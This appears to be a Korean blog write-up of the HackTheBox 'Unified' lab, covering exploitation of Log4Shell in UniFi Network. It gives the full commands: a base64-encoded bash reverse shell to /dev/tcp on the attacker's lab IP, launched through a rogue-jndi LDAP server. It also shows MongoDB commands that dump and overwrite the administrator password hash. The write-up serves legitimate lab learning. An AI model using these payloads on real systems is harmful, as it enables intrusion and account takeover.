[HTB] Unified

쥬스몬·2022년 4월 13일
0

HackTheBox

목록 보기
6/37

Hack the box의 Starting Point 중 Unified 문제를 해결하는 과정을 기록

이번 테스팅 머신은 CVE와 관련이있다. Spawn된 서버의 포트스캔 결과는 다음과 같다.

"hxxp://10.129.114.158:8080"에 접근하니 "hxxps://10.129.114.158:8443"로 리다이렉션된다.

UniFi Network에 대한 정보가없어 찾아보니 네트워크 관련된 매니저 솔루션이라고한다. 이번 테스팅 머신의 주체가 CVE다보니 Unifi 6.4.54 버전에 대한 CVE를 조사하던 중 작년 말 전세계적으로 크게 이슈가 있던 Log4j 취약점을 언급한 블로그 게시글이 보인다.

포스팅을 읽으면서 로그인 시 요청하는 "/api/login" 경로에서 POST data로 넘어가는 json 데이터 중 remember 값이 log4j에 취약하다고 한다.

이를 테스트하기 위해 Kali에서 특정 인터페이스의 389포트(LDAP)을 모니터링했다. (Boooom!🔥)

log4shell 취약점을 위해선 악성 LDAP서버가 필요하다. 이를 위해 rogue-jndi를 이용한다!

openjdk version : 11.0.14

취약한 LDAP 서버가 악의적인 클래스를 전달하면서 실행할 명령을 지정해야한다. Reverse shell을 획득하기 위해 아래와 같은 커멘드를 base64로 인코딩한다.

echo 'bash -c bash -i >&/dev/tcp/10.10.14.121/12321 0>&1' | base64

이제 maven으로 빌드한 RogueJndi-1.1.jar를 실행해 준다.

java -jar RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuMTIxLzEyMzIxIDA+JjEK}|{base64,-d}|{bash,-i}" --hostname "10.10.14.121"

다시 한번 "/api/login" 페이지에서 remember 값에 악성 jndi 페이로드를 삽입한다.

악성 LDAP 서버에서 반응하며 악의적인 클래스를 전달한다.

악성 클래스에서 Kali의 12321포트로 bash 쉘을 전달하여 Reverse shell이 맺어졌다. 터미널을 사용하기 위해 script /dev/null -c bash 커멘드를 추가로 전달했다.

백엔드에서 Mongo DB가 27117포트로 실행되고있는것을 확인.

구글링을 통해 알아낸 정보로는 UniFi에서 Mongodb 사용시 ace라는 DB명을 사용한다. 이를 이용해 mongo 명령을 통해 MongoDB에 코드를 실행하여 mongodb 관리자 및 패스워드 해시를 확인한다.

mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

SHA512를 크랙하는것은 불가능에 가까우니 mongo 명령어로 코드를 실행하여 'x_shadow' 값을 변경할 것이다.

먼저 임의의 패스워드를 SHA512로 해쉬화한다.

이후 아래와 같은 명령을 전달하여 특정id(61ce278f46e0fb0012d47ee4)의 유저(administarator)의 x_shadow 값을 변경한다.

mongo --port 27117 ace --eval 'db.admin.update({"_id": ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$exEno7KTmbXDWIuy$tEzyCgAI8hrxxphFI1NvbgYGmXuYNgj6mg1JIlQe9DUu/uRWWsuj0cKC25iiclAfm72xdsMzM1K8dV6YZ9r4s1"}})'

변경된 Hash값은 juicemon이다. UniFi로그인 페이지로가서 administrator/juicemon으로 로그인하면 로그인에 성공한다.

Settings에서 SSH 인증과 관련된 설정을 확인할 수 있는데 무려 root 계정이다!

ssh접근해서 root계정으로 권한상승까지 마무리했다🤩

profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글